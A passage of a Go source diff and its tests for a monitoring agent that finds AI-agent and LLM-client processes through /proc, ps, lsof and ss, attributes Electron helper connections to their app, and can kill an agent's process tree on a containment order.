app, ok := byPid[700]
if !ok || app.Kind != kindApp || app.Signature != "gui-app" || app.PPID != 4 {
t.Fatalf("the browser must be observed as an app (through the zygote), got %+v", byPid)
}
if len(app.LLMEndpoints) != 1 || app.LLMEndpoints[0] != "api.openai.com" {
t.Errorf("endpoints = %v", app.LLMEndpoints)
}
// The observation is the APP, so the file it names must be the APP's. Keeping
// the helper's would key a mark (sanction.go) on a file that is not the
// program the row names — the user would vouch for one thing by clicking
// another.
//
// MUTATION: leave `exe` untouched when the walk resolves to the app
// (drop `exe = rd.Exe` from the app branch of mergeConnections).
// RESULT: red — the app row carried helper.exe.
if want := exe[700]; app.Exe != want {
t.Errorf("the app's row carries exe %q, want its own %q", app.Exe, want)
}
if c, ok := byPid[1001]; !ok || c.Kind != kindClient || c.Signature != "llm-client" {
t.Errorf("a process mentioning the flag under a shell is a client, got %+v", byPid[1001])
}
// MUTATION: drop `Exe: exe` from the agentObs literal mergeConnections builds.
// RESULT: red — an observation the network signal created could never be
// marked as yours, because it carried no file at all.
if got := byPid[1001].Exe; got != "/usr/bin/python3" {
t.Errorf("a client observation must carry the kernel's path, got %q", got)
}
}
func TestDescendantsOf(t *testing.T) {
parents := map[int]int{
101: 50, 102: 101, 103: 102, 104: 101, // a tree under 101
200: 50, 201: 200, // a sibling tree
300: 300, // self-parent junk must not loop
}
got := descendantsOf(parents, 101)
sort.Ints(got)
want := []int{102, 103, 104}
if len(got) != len(want) {
t.Fatalf("descendantsOf(101) = %v, want %v", got, want)
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("descendantsOf(101) = %v, want %v", got, want)
}
}
if got := descendantsOf(parents, 103); len(got) != 0 {
t.Errorf("a leaf has no descendants, got %v", got)
}
if got := descendantsOf(parents, 999); len(got) != 0 {
t.Errorf("an unknown pid has no descendants, got %v", got)
}
if got := descendantsOf(parents, 300); len(got) != 0 {
t.Errorf("a self-parented pid must not recurse, got %v", got)
}
}
func TestParseProcStatPPID(t *testing.T) {
cases := map[string]int{
"1234 (claude) S 999 1234 1234 0 -1": 999,
"1234 (a (weird) name) R 77 1 1 0 -1": 77, // parens in comm
"1234 (x y) S 5 1": 5, // spaces in comm
"garbage": 0,
"": 0,
"1 (systemd) S 0 1 1 0 -1 4194560 1 0 0 0 0 0 0": 0,
}
for in, want := range cases {
if got := parseProcStatPPID(in); got != want {
t.Errorf("parseProcStatPPID(%q) = %d, want %d", in, got, want)
}
}
}
// Contain takes the agent's tree, refuses an app, and spares the bastion's own
// local agent child — decided from stubs, so nothing real is ever signalled.
func TestMaybeContainKillsTreeAndRefusesApps(t *testing.T) {
prevObs, prevTree, prevKill := observedAgents, processTree, killProcess
defer func() { observedAgents, processTree, killProcess = prevObs, prevTree, prevKill }()
self := os.Getpid()
observedAgents = func() ([]agentObs, error) {
return []agentObs{
{PID: 101, Kind: kindAgent, Signature: "claude-code"},
{PID: 4532, Kind: kindApp, Signature: "claude-desktop"},
{PID: 202, Kind: kindClient, Signature: "llm-client"},
}, nil
}
processTree = func() map[int]int {
return map[int]int{
102: 101, 103: 102, // the agent's shell and its child
104: 101, // our own local agent, launched under the agent's shell
4533: 4532, // the app's helper
self: 101, // a corrupt map naming us as the agent's child
1: 101, // ...and init
}
}
faTrackPID(104)
defer faUntrackPID(104)
killed := []int{}
killProcess = func(pid int) error { killed = append(killed, pid); return nil }
maybeContain("", "", []byte(`{"contain":[101, 4532, 202, 303]}`))
sort.Ints(killed)
want := []int{101, 102, 103, 202}
if len(killed) != len(want) {
t.Fatalf("killed %v, want %v", killed, want)
}
for i := range want {
if killed[i] != want[i] {
t.Fatalf("killed %v, want %v", killed, want)
}
}
}
+170
View File
@@ -0,0 +1,170 @@
//go:build linux
package main
import (
"fmt"
"os"
"os/exec"
"os/user"
"strconv"
"strings"
)
// Linux enumeration for the observe plane: /proc for processes and their
// environment, `ss` for established connections (it does the inode->pid
// mapping we would otherwise have to rebuild by hand).
//
// This is the original implementation, moved out of agents.go unchanged in
// behaviour when the plane grew macOS and Windows siblings.
const (
agentScanSupported = true
agentScanKind = "proc+ss"
)
// scanProcesses walks /proc and returns the agent processes (process signal),
// keyed by pid. An error is a walk that did not happen — not an empty box —
// and the heartbeat withholds `agents` for it rather than send a list nothing
// measured.
//
// procRoot is "/proc"; a test points it at a directory that is not there to
// prove this enumerator's own failure path returns an error, not an empty map.
var procRoot = "/proc"
func scanProcesses() (map[int]agentObs, error) {
out := map[int]agentObs{}
entries, err := os.ReadDir(procRoot)
if err != nil {
return nil, fmt.Errorf("read %s: %w", procRoot, err)
}
self := os.Getpid()
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil || pid == self {
continue
}
raw, err := os.ReadFile("/proc/" + e.Name() + "/cmdline")
if err != nil || len(raw) == 0 {
continue
}
argv := splitNul(raw)
sig, auto, ok := matchSignature(argv)
if !ok {
continue
}
full := strings.Join(argv, " ")
out[pid] = agentObs{PID: pid, User: procUser(pid), Signature: sig,
Cmdline: truncate(full, 200), Exe: procExe(pid),
DelegationToken: procEnvToken(pid), raw: full, automation: auto}
}
return out, nil
}
// procParent reads one process's parent pid from /proc/<pid>/stat.
func procParent(pid int) int {
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/stat")
if err != nil {
return 0
}
return parseProcStatPPID(string(raw))
}
// processParents is the whole pid -> parent map, one /proc walk. Contain uses
// it to take an agent's descendants along with it.
func processParents() map[int]int {
out := map[int]int{}
entries, err := os.ReadDir("/proc")
if err != nil {
return out
}
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil {
continue
}
if pp := procParent(pid); pp > 0 {
out[pid] = pp
}
}
return out
}
// scanConnections returns established outbound TCP with the owning pid, via `ss`
// (it does the inode->pid mapping). Best-effort: if ss is absent it returns
// empty and the process signal still stands.
func scanConnections() []connObs {
data, err := exec.Command("ss", "-tnpH", "state", "established").Output()
if err != nil {
return []connObs{}
}
return parseSSOutput(string(data), os.Getpid())
}
func procUser(pid int) string {
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/status")
if err != nil {
return ""
}
for _, line := range strings.Split(string(raw), "\n") {
if strings.HasPrefix(line, "Uid:") {
f := strings.Fields(line)
if len(f) >= 2 {
if u, err := user.LookupId(f[1]); err == nil {
return u.Username
}
return f[1]
}
}
}
return ""
}
func procCmdline(pid int) string {
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/cmdline")
if err != nil {
return ""
}
return truncate(strings.Join(splitNul(raw), " "), 200)
}
// procExe is the KERNEL's record of which file this process runs:
// /proc/<pid>/exe, a link the kernel maintains from the vnode and the process
// cannot rewrite. The strongest of the three platforms — it is RESOLVED, so a
// symlinked launcher reports its target (measured here: a `#!/bin/bash` script
// reported /usr/bin/bash, not the /bin/bash its own argv[0] said).
//
// Unreadable yields "" — another user's process without the capability, a
// hardened kernel — the same conservative outcome as procEnvToken above, and
// sanction.go refuses to mark an observation with no path rather than falling
// back to the command line.
func procExe(pid int) string {
exe, err := os.Readlink("/proc/" + strconv.Itoa(pid) + "/exe")
if err != nil {
return ""
}
return sanitizeExePath(exe)
}
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN, or
// its older name; see agentTokenEnvNames) from an agent's env, if set.
// Unreadable (another user's process, hardened kernel) yields "" — the same
// conservative outcome as an agent that genuinely carries no tag.
func procEnvToken(pid int) string {
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/environ")
if err != nil {
return ""
}
for _, name := range agentTokenEnvNames {
if tok := parseEnvToken(raw, name); tok != "" {
return tok
}
}
return ""
}
+30
View File
@@ -0,0 +1,30 @@
//go:build linux
package main
import (
"path/filepath"
"testing"
)
// The REAL enumerator's failure path, not the seam above it: an unreadable
// /proc must come back as an error. The bug this plane had was an empty map
// with a nil error here, which the heartbeat sent as "looked, nothing there"
// and the host read as a kill order carried out. scanProcessesFn is stubbed
// by every other test, so without this one the guard stops at the seam.
func TestTheLinuxWalkFailsLoudlyWhenProcIsUnreadable(t *testing.T) {
prev := procRoot
t.Cleanup(func() { procRoot = prev })
procRoot = filepath.Join(t.TempDir(), "no-proc-here")
m, err := scanProcesses()
if err == nil {
t.Fatalf("an unreadable %s returned %d processes and no error — an empty map with a nil error is the bug", procRoot, len(m))
}
if m != nil {
t.Fatalf("a failed walk must return no map, got %v", m)
}
procRoot = prev
if _, err := scanProcesses(); err != nil {
t.Fatalf("the real /proc walk failed on this box: %v", err)
}
}
+36
View File
@@ -0,0 +1,36 @@
//go:build !linux && !darwin && !windows
package main
import "errors"
// Observe-plane stub for platforms with no enumerator. The bastion still runs
// — tunnel, grants, DCN, every lane — it simply reports that it cannot watch
// itself, rather than reporting an empty agent list that would be read as
// "nothing running here". agentScanSupported is what keeps those two apart:
// the heartbeat withholds the "agent-observe" capability, so the host can say
// "this box is not watching" instead of "this box is quiet".
const (
agentScanSupported = false
agentScanKind = "unsupported"
)
// errNoEnumerator: the walk cannot happen here, so scanAgents fails and the
// heartbeat carries no `agents` key at all — the same absence a scan failure
// produces elsewhere, and the host reads both as "did not look".
var errNoEnumerator = errors.New("no process enumerator on this platform")
func scanProcesses() (map[int]agentObs, error) { return nil, errNoEnumerator }
func scanConnections() []connObs { return []connObs{} }
func procUser(pid int) string { return "" }
func procCmdline(pid int) string { return "" }
func procEnvToken(pid int) string { return "" }
// procExe: no enumerator, so no kernel path — and an empty one is honest here
// in a way a guess never could be. sanction.go refuses to mark an observation
// that has none, which on this build means nothing can be marked at all; that
// is the same "cannot watch itself" answer agentScanSupported already gives.
func procExe(pid int) string { return "" }
func procParent(pid int) int { return 0 }
func processParents() map[int]int { return map[int]int{} }
+862
View File
@@ -0,0 +1,862 @@
package main
import (
"encoding/binary"
"net"
"strconv"
"strings"
)
// Pure parsers and classifiers for the observe plane — NO build tag, on
// purpose. Every platform's enumeration output is decoded here, so the Linux
// box that runs the tests exercises the macOS and Windows paths too. The
// platform files (agents_<goos>.go) are left holding only the calls that
// genuinely cannot run anywhere else: reading /proc, spawning ps/lsof/ss, and
// the Win32 syscalls. Those are a handful of lines each; everything with a
// decision or an offset in it lives in this file, under test.
// binBase is filepath.Base for BOTH separator conventions, lowercased, with a
// ".exe" suffix dropped. Deliberately not filepath.Base: that function follows
// the separator of the machine it RUNS on, so a Windows argv would keep its
// whole path when the same rule is exercised from a Linux test run.
func binBase(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
if i := strings.LastIndexAny(s, `/\`); i >= 0 {
s = s[i+1:]
}
return strings.TrimSuffix(s, ".exe")
}
// matchAgentSignature: argv[0] basename exact-match, OR (only for an interpreter) a distinctive
// script-path substring. The interpreter gate kills the "merely mentions the marker" false positive.
func matchAgentSignature(argv []string) (string, bool) {
sig, auto, ok := matchSignature(argv)
if !ok || auto {
return "", false
}
return sig, true
}
// matchSignature is matchAgentSignature over BOTH tables: the agent tables
// first (an agent that also drives a browser is an agent), then the
// automation tables. `automation` reports which table answered.
func matchSignature(argv []string) (sig string, automation bool, ok bool) {
if len(argv) == 0 {
return "", false, false
}
base := binBase(argv[0])
if sig, ok := agentBinaries[base]; ok {
return sig, false, true
}
if sig, ok := automationBinaries[base]; ok {
return sig, true, true
}
if interpreters[base] {
full := strings.ToLower(strings.Join(argv, " "))
for _, s := range agentSubstrings {
if strings.Contains(full, s.Sub) {
return s.Sig, false, true
}
}
for _, s := range automationSubstrings {
if strings.Contains(full, s.Sub) {
return s.Sig, true, true
}
}
}
return "", false, false
}
// ── Kind: agent, app, or client ─────────────────────────────────────────────
//
// The signature tables answer "which product is this binary". They cannot
// answer "is this an agent", because the same binary name serves two products:
// `claude.exe` is Claude Code (an agent) AND the Claude desktop app (a chat
// window). The desktop app is Electron, and Electron — like every Chromium
// host — runs its renderer, GPU, network and utility work in child processes
// launched from the SAME executable with a `--type=<role>` flag. One open app
// therefore matched the agent table nine times, and eight of those were not
// even the app: they were its helpers.
//
// Two rules, both measured on the box that produced the false alarm:
//
// helper — a `--type=` process WHOSE PARENT RUNS THE SAME PROGRAM (same
// executable, or the same .app bundle on macOS). The flag alone
// is not enough: an agent whose prompt text mentions "--type=json"
// must stay an agent, and "add --type=x to your argv" must never be
// a way to vanish from the report. A helper is dropped and its
// parent remembered.
// app — a matched process that owns helpers, or whose EXECUTABLE lives
// inside a macOS .app bundle, is an APP: the user is running it. It
// stays visible (what it talks to matters) but it is not an agent.
//
// Everything else the tables matched is an agent. A process caught by the
// network signal alone is a client — unless the socket belongs to a helper,
// in which case the APP that owns the helper is what talks to the model.
const (
kindAgent = "agent"
kindApp = "app"
kindClient = "client"
// automation: drives the machine with no model of its own —
// a browser driver, an input injector, an RPA runtime. Inventory, never
// an alert. Model traffic promotes it to an agent (mergeConnections).
kindAutomation = "automation"
)
// appSignatures renames a product signature when the process turns out to be
// the interactive app rather than the agent, so the host never says
// "claude-code" about a chat window. Unlisted products keep their name with an
// "-app" suffix.
var appSignatures = map[string]string{
"claude-code": "claude-desktop",
}
func appSignature(sig string) string {
if s, ok := appSignatures[sig]; ok {
return s
}
return sig + "-app"
}
// argv0 is the program a command line starts with: the first token, honouring
// a quoted Windows path ("C:\Program Files\...\claude.exe" --type=renderer).
func argv0(cmdline string) string {
s := strings.TrimSpace(cmdline)
if s == "" {
return ""
}
if s[0] == '"' || s[0] == '\'' {
if end := strings.IndexByte(s[1:], s[0]); end >= 0 {
return s[1 : end+1]
}
return s[1:]
}
if i := strings.IndexByte(s, ' '); i >= 0 {
return s[:i]
}
return s
}
// ── the kernel's executable path ────────────────────────────────────────────
//
// Every platform answers procExe() through sanitizeExePath, so ONE rule decides
// what counts as an executable path and it is tested from any OS.
//
// ABSOLUTE OR EMPTY. A relative path ("claude", "./bin/claude") names a file
// only against a working directory nobody recorded, so it is not an identity —
// two processes started from different directories would share it. macOS is
// where this actually bites: the kernel saves the path as it was PASSED to
// execve (xnu bsd/kern/kern_exec.c exec_save_path, which copyinstr's the
// caller's string before namei resolves it), so a relative exec produces a
// relative saved path. Linux (readlink /proc/pid/exe) and Windows
// (QueryFullProcessImageName) always answer absolute.
//
// Dropping it yields "" — an observation that cannot be marked as yours — which
// is the safe direction: a mark that names nothing checkable is worse than no
// mark (sanction.go, agentSanction).
func sanitizeExePath(s string) string {
s = strings.TrimSpace(s)
// Linux appends " (deleted)" once the file has been unlinked — measured on
// this box: a running binary read "/tmp/x/sleepy" before `rm` and
// "/tmp/x/sleepy (deleted)" after. STRIPPED, exactly as origin_linux.go:85
// already does, because the alternative silently un-marks a running agent
// the moment its package updates in place, and a mark the user has to
// re-apply after every update is a control they stop using (sanction.go,
// STORAGE). It concedes nothing an attacker did not already have: writing a
// file called "claude (deleted)" into that directory needs the same write
// access as overwriting `claude` itself.
s = strings.TrimSuffix(s, " (deleted)")
if !isAbsExePath(s) {
return ""
}
// REFUSED, NEVER TRUNCATED, past a bound no real path reaches. Truncation is
// not available to this function whatever the length: two different
// executables under one long directory would cut down to the SAME string and
// therefore to the same identity, which is a collision in the one field that
// is supposed to tell programs apart. So an absurd path becomes "" —
// unmarkable, the safe direction — and this field cannot be used to inflate
// the heartbeat it travels on (agents.go, agentObs.Exe).
//
// 4096 is Linux's PATH_MAX, the largest of the three kernels' own limits
// (macOS is 1024; Windows' extended form goes further but nothing a person
// installs lives out there). It admits every real path and bounds the field.
if len(s) > 4096 {
return ""
}
return s
}
// isAbsExePath answers for BOTH path conventions, deliberately not
// filepath.IsAbs: that function follows the separator of the machine it RUNS
// on, so a Windows path would read as relative under the Linux test run that
// exercises this file — the same trap binBase() (agents_parse.go:18-21) is
// written to avoid.
func isAbsExePath(s string) bool {
switch {
case s == "":
return false
case s[0] == '/':
return true // POSIX, and the \Device\... form never reaches here
case strings.HasPrefix(s, `\\`):
return true // UNC: \\server\share\thing.exe
case len(s) >= 3 && s[1] == ':' && (s[2] == '\\' || s[2] == '/') &&
((s[0] >= 'A' && s[0] <= 'Z') || (s[0] >= 'a' && s[0] <= 'z')):
return true // C:\thing.exe
}
return false
}
// parseProcargs2ExePath pulls the kernel's saved executable path out of a macOS
// KERN_PROCARGS2 blob. Lives here, with a fixture, because it is a byte layout
// and the Linux box that runs the tests must exercise it (this file's header).
//
// The layout, from Apple's own two sources rather than from a blog: the kernel
// writes argc as the first word and the executable path as the first string
// after it (xnu bsd/kern/kern_sysctl.c sysctl_procargsx, which stores the path
// prefixed with "executable_path=" and strips that prefix back off on the way
// out), and Apple's ps walks the same blob by SKIPPING that string to reach
// argv[0] — "/* Skip the saved exec_path. */" in adv_cmds ps/print.c,
// getproclline. Only that prefix is decoded here; argv and the environment
// follow and are none of this function's business.
//
// WHY THE PATH AND NOT `ps -o comm=`: because comm on macOS is argv[0]. The
// same getproclline is what backs the `comm` keyword (ps/keyword.c maps it to
// just_command), so it reports the string the launcher chose, which is the
// exact value this whole change exists to stop trusting. origin_darwin.go's
// header and origin.go's procFacts.Exe both used to say the opposite;
// both now say what it is.
func parseProcargs2ExePath(buf []byte) string {
if len(buf) < 5 {
return ""
}
// argc rides in the first word, native endian — and both machines macOS
// runs on (amd64, arm64) are little-endian.
if argc := int32(binary.LittleEndian.Uint32(buf[:4])); argc < 0 {
return "" // not a blob this function understands; never guess past it
}
rest := buf[4:]
end := 0
for end < len(rest) && rest[end] != 0 {
end++
}
if end == len(rest) {
return "" // no terminator inside the buffer: a truncated read, not a path
}
return sanitizeExePath(string(rest[:end]))
}
// bundleRoot is the OUTERMOST macOS .app a path sits in, lowercased, or "".
// "Google Chrome Helper.app" lives inside "Google Chrome.app/Contents/..."; the
// outermost bundle is what makes a helper and its app the same program.
func bundleRoot(path string) string {
p := strings.ToLower(path)
i := strings.Index(p, ".app/")
if i < 0 {
return ""
}
return p[:i+5]
}
// isAppBundle: the EXECUTABLE (argv[0], never an argument) lives inside a
// macOS application bundle.
func isAppBundle(cmdline string) bool {
return bundleRoot(argv0(cmdline)) != ""
}
// hasTypeFlag: the raw Chromium marker. Necessary for a helper, never
// sufficient — see isGUIHelper.
func hasTypeFlag(cmdline string) bool {
return strings.Contains(strings.ToLower(cmdline), " --type=")
}
// sameProgram: child and parent run the same executable, or live in the same
// .app bundle. This is what makes a `--type=` process a helper rather than an
// agent that happens to mention the flag.
func sameProgram(childCmd, parentCmd string) bool {
c, p := argv0(childCmd), argv0(parentCmd)
if c == "" || p == "" {
return false
}
if binBase(c) == binBase(p) {
return true
}
if r := bundleRoot(c); r != "" && r == bundleRoot(p) {
return true
}
return false
}
// isGUIHelper: a `--type=` process whose parent runs the same program.
func isGUIHelper(cmdline, parentCmdline string) bool {
return hasTypeFlag(cmdline) && sameProgram(cmdline, parentCmdline)
}
// maxHelperHops bounds the walk from a helper up to its app. Chromium nests
// at most a few levels (browser → zygote → renderer); a chain longer than
// this is a corrupt parent map, and the walk stops rather than loops.
const maxHelperHops = 8
// classifyObservations applies the kind rules to a process snapshot IN PLACE:
// helpers are removed, every survivor gets a kind and a parent, and an app's
// signature is renamed. Returns helper pid -> the app pid that owns it, so the
// caller can re-attribute the helpers' connections.
//
// A helper's parent must itself be in the snapshot: helpers run the same
// executable as their app, so if the app matched the tables, so did they, and
// if the parent is NOT a candidate the child is not its helper (an agent under
// a shell). A helper whose parent cannot be read is kept as an agent — reported
// rather than silently dropped, and never pinned to pid 0.
func classifyObservations(byPid map[int]agentObs, parent func(int) int) map[int]int {
cmdOf := func(a agentObs) string {
if a.raw != "" {
return a.raw
}
return a.Cmdline
}
helper := map[int]bool{}
for pid, a := range byPid {
pp := parent(pid)
if pp <= 1 {
continue
}
pa, ok := byPid[pp]
if !ok {
continue
}
if isGUIHelper(cmdOf(a), cmdOf(pa)) {
helper[pid] = true
}
}
helperRoot := map[int]int{}
for pid := range helper {
root := parent(pid)
for hops := 0; helper[root] && hops < maxHelperHops; hops++ {
root = parent(root) // the zygote pattern: a helper spawned by a helper
}
if root <= 1 || helper[root] {
continue // unresolvable: leave it reported as what it matched
}
if _, ok := byPid[root]; !ok {
continue
}
helperRoot[pid] = root
delete(byPid, pid)
}
ownsHelpers := map[int]bool{}
for _, root := range helperRoot {
ownsHelpers[root] = true
}
for pid, a := range byPid {
a.PPID = parent(pid)
if ownsHelpers[pid] || isAppBundle(cmdOf(a)) {
a.Kind = kindApp
a.Signature = appSignature(a.Signature)
} else if a.automation {
a.Kind = kindAutomation
} else {
a.Kind = kindAgent
}
byPid[pid] = a
}
return helperRoot
}
// descendantsOf walks a pid -> parent map and returns every process below
// root (children, grandchildren, ...), root excluded. Contain uses it so an
// agent's shells and sub-processes go with it instead of being orphaned. A
// cycle in a corrupt map terminates because each pid is visited once.
func descendantsOf(parents map[int]int, root int) []int {
children := map[int][]int{}
for pid, pp := range parents {
if pp > 0 && pid != pp {
children[pp] = append(children[pp], pid)
}
}
seen := map[int]bool{root: true}
out := []int{}
queue := []int{root}
for len(queue) > 0 {
cur := queue[0]
queue = queue[1:]
for _, c := range children[cur] {
if seen[c] {
continue
}
seen[c] = true
out = append(out, c)
queue = append(queue, c)
}
}
return out
}
// parseProcStatPPID pulls the parent pid out of /proc/<pid>/stat. The comm
// field is parenthesised and may itself contain spaces or parens, so the
// fields are counted from the LAST ')' — state is next, then ppid.
func parseProcStatPPID(stat string) int {
i := strings.LastIndex(stat, ")")
if i < 0 {
return 0
}
f := strings.Fields(stat[i+1:])
if len(f) < 2 {
return 0
}
n, err := strconv.Atoi(f[1])
if err != nil || n < 0 {
return 0
}
return n
}
// parseProcStatStartTicks pulls the process start time out of /proc/<pid>/stat.
// Same technique as parseProcStatPPID and for the same reason — the comm field
// is parenthesised and may itself contain spaces or parens, so the fields are
// counted from the LAST ')'.
//
// starttime is field 22 of the whole line; the first field after ')' is field 3,
// so it sits at index 19 of that slice. It counts clock ticks since boot, which
// is what the delta's short-lived rule turns into an age (delta_linux.go).
//
// Here rather than in the Linux file, with no build tag, for the reason the top
// of this file gives: one `go test` on any OS covers the byte layout, and a
// parser only a Linux box can run is a parser only a Linux box checks.
func parseProcStatStartTicks(stat string) (uint64, bool) {
i := strings.LastIndex(stat, ")")
if i < 0 {
return 0, false
}
f := strings.Fields(stat[i+1:])
if len(f) < 20 {
return 0, false
}
n, err := strconv.ParseUint(f[19], 10, 64)
if err != nil {
return 0, false
}
return n, true
}
// splitHostPortLoose parses the "address:port" forms the platform enumerators
// hand back — `1.2.3.4:443`, `[fd00::1]:443`, `[::1]:11434` — into a bare IP
// and a numeric port. Brackets are stripped so a v6 literal compares equal to
// the same address from a DNS lookup.
func splitHostPortLoose(s string) (string, int, bool) {
s = strings.TrimSpace(s)
if s == "" {
return "", 0, false
}
host, port, err := net.SplitHostPort(s)
if err != nil {
i := strings.LastIndex(s, ":")
if i < 0 {
return "", 0, false
}
host, port = s[:i], s[i+1:]
}
host = strings.Trim(host, "[]")
n, err := strconv.Atoi(port)
if err != nil || n <= 0 || n > 65535 || host == "" {
return "", 0, false
}
return host, n, true
}
// portOfAddr pulls the port out of a "host:port" env value (OLLAMA_ADDR,
// PRIVATAE_LLM_ADDR). A bare host, a bare port, or junk yields 0 — never a guess.
func portOfAddr(addr string) int {
addr = strings.TrimSpace(addr)
if addr == "" {
return 0
}
addr = strings.TrimPrefix(strings.TrimPrefix(addr, "http://"), "https://")
if i := strings.IndexAny(addr, "/?"); i >= 0 {
addr = addr[:i]
}
_, p, err := net.SplitHostPort(addr)
if err != nil {
return 0
}
n, err := strconv.Atoi(p)
if err != nil || n <= 0 || n > 65535 {
return 0
}
return n
}
// isLocalScope reports whether an address is on the user's own side of the
// internet: loopback, RFC1918 / ULA, link-local, or CGNAT (100.64/10, which the
// mesh itself uses and net.IP.IsPrivate does not cover).
func isLocalScope(addr string) bool {
ip := net.ParseIP(addr)
if ip == nil {
return false
}
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
return true
}
if v4 := ip.To4(); v4 != nil && v4[0] == 100 && v4[1] >= 64 && v4[1] <= 127 {
return true
}
return false
}
// classifyConn names the inference endpoint a connection is talking to, and
// says whether that alone is enough to call an unknown process an agent.
// Returns ("", false) when the connection is not inference traffic.
//
// The label carries two INDEPENDENT facts, so neither one overstates:
//
// prefix address class — "local:" only when the peer really is on the
// user's own side (loopback/LAN/mesh). A model served from a public
// address is still self-hosted inference, but calling it "local"
// reads as a lie, so it is named by its address instead.
// suffix port confidence — a trailing "?" marks an ambiguous port that only
// corroborates and never promotes an unknown process.
func classifyConn(c connObs, cloud map[string]string, strong, weak map[int]string) (string, bool) {
if host, ok := cloud[c.RemoteIP]; ok {
return host, true
}
where := c.RemoteIP
if isLocalScope(c.RemoteIP) {
where = "local"
}
if name, ok := strong[c.RemotePort]; ok {
return where + ":" + strconv.Itoa(c.RemotePort) + " (" + name + ")", true
}
if name, ok := weak[c.RemotePort]; ok {
return where + ":" + strconv.Itoa(c.RemotePort) + " (" + name + "?)", false
}
return "", false
}
// procDetail is what the per-pid lookups answer for a process the signature
// scan never matched. A STRUCT rather than the tuple this used to be
// (user, cmdline, token), because the field added to it is the one field that
// must never be confused with the command line: a positional fourth string is
// one transposition away from writing argv[0] into Exe, which is the forgery
// sanction.go exists to stop. The compiler now refuses that mistake.
type procDetail struct {
User string
Cmdline string
Token string
// Exe is the KERNEL's executable path for the pid, or "" — see agentObs.Exe.
Exe string
}
// mergeConnections folds the network signal into the process snapshot: an
// endpoint annotates the agent (or app) that owns the connection, and a
// STRONG endpoint on a process the signature scan missed becomes an
// "llm-client" observation — the disguised case the network signal exists to
// catch. A weak (ambiguous port) endpoint never creates an observation on its
// own.
//
// GUI helpers: a socket held by a Chromium/Electron helper is the
// APP's socket. A connection already re-attributed by the caller (ViaHelper)
// annotates the app; an unknown `--type=` process found here is a helper only
// if its parent runs the same program, and is then attributed up the chain to
// the app. A process that merely mentions the flag is an ordinary client.
func mergeConnections(byPid map[int]agentObs, conns []connObs, cloud map[string]string,
strong, weak map[int]string, info func(int) procDetail, parent func(int) int) {
annotate := func(pid int, label string, alone bool) bool {
a, ok := byPid[pid]
if !ok {
return false
}
if !containsStr(a.LLMEndpoints, label) {
a.LLMEndpoints = append(a.LLMEndpoints, label)
}
// An automation that talks to a model is an agent: the browser
// driver was the hands, the model is the head. Only a strong
// endpoint promotes — an ambiguous port annotates, as everywhere.
if a.Kind == kindAutomation && alone {
a.Kind = kindAgent
}
byPid[pid] = a
return true
}
for _, c := range conns {
label, alone := classifyConn(c, cloud, strong, weak)
if label == "" {
continue
}
if annotate(c.PID, label, alone) {
continue
}
if !alone {
continue
}
if c.ViaHelper {
continue // the caller only rewrites to a root it kept, so this is unreachable; never invent one
}
d := info(c.PID)
user, cmdline, token, exe := d.User, d.Cmdline, d.Token, d.Exe
target, kind, sig := c.PID, kindClient, "llm-client"
if hasTypeFlag(cmdline) {
// Walk up while the parent runs the same program and is itself a
// helper; the first same-program non-helper is the app.
cur, curCmd := c.PID, cmdline
resolved := false
for hops := 0; hops < maxHelperHops; hops++ {
root := parent(cur)
if root <= 1 {
break
}
rd := info(root)
if !isGUIHelper(curCmd, rd.Cmdline) {
break // not the same program: cur is what it is
}
if annotate(root, label, alone) {
resolved = true
break
}
if !hasTypeFlag(rd.Cmdline) {
// The APP is now the observation, so its OWN exe travels
// with it. Keeping the helper's would key a mark on a file
// that is not the program the row names.
target, user, cmdline, token, exe = root, rd.User, rd.Cmdline, rd.Token, rd.Exe
kind, sig = kindApp, "gui-app"
resolved = true
break
}
cur, curCmd = root, rd.Cmdline
}
if resolved && target == c.PID {
continue // annotated an existing observation up the chain
}
if !resolved && hasTypeFlag(cmdline) && target == c.PID {
// A `--type=` process with no same-program parent (an agent
// mentioning the flag, or an unreadable parent): a client.
kind, sig = kindClient, "llm-client"
}
}
byPid[target] = agentObs{
PID: target, PPID: parent(target), Kind: kind, User: user, Signature: sig,
Cmdline: cmdline, Exe: exe, LLMEndpoints: []string{label}, DelegationToken: token,
}
}
}
// ── Linux: `ss -tnpH state established` ─────────────────────────────────────
// pidFromSSLine extracts the pid from an ss process column: users:(("comm",pid=N,fd=M)).
func pidFromSSLine(line string) int {
i := strings.Index(line, "pid=")
if i < 0 {
return 0
}
rest := line[i+4:]
j := 0
for j < len(rest) && rest[j] >= '0' && rest[j] <= '9' {
j++
}
pid, _ := strconv.Atoi(rest[:j])
return pid
}
// parseSSOutput turns `ss -tnpH state established` into connections. Column 4
// is the peer address; the pid rides in the users:(...) column.
func parseSSOutput(out string, self int) []connObs {
conns := []connObs{}
for _, line := range strings.Split(out, "\n") {
f := strings.Fields(line)
if len(f) < 4 {
continue
}
ip, port, ok := splitHostPortLoose(f[3])
if !ok {
continue
}
pid := pidFromSSLine(line)
if pid > 0 && pid != self {
conns = append(conns, connObs{PID: pid, RemoteIP: ip, RemotePort: port})
}
}
return conns
}
// ── macOS: `ps` and `lsof` ──────────────────────────────────────────────────
// parsePSOutput turns `ps -axo pid=,ppid=,user=,args=` into per-pid parent,
// user and argv.
func parsePSOutput(out string) (map[int]string, map[int][]string, map[int]int) {
users := map[int]string{}
argvs := map[int][]string{}
parents := map[int]int{}
for _, line := range strings.Split(out, "\n") {
f := strings.Fields(line)
if len(f) < 4 {
continue
}
pid, err := strconv.Atoi(f[0])
if err != nil || pid <= 0 {
continue
}
ppid, err := strconv.Atoi(f[1])
if err != nil || ppid < 0 {
continue
}
parents[pid] = ppid
users[pid] = f[2]
argvs[pid] = f[3:]
}
return users, argvs, parents
}
// parseLsofOutput reads lsof's machine-readable field output (-Fpn): a `p<pid>`
// line opens a process block, and each following `n<local>-><remote>` line is
// one of its connections.
func parseLsofOutput(out string, self int) []connObs {
conns := []connObs{}
pid := 0
for _, line := range strings.Split(out, "\n") {
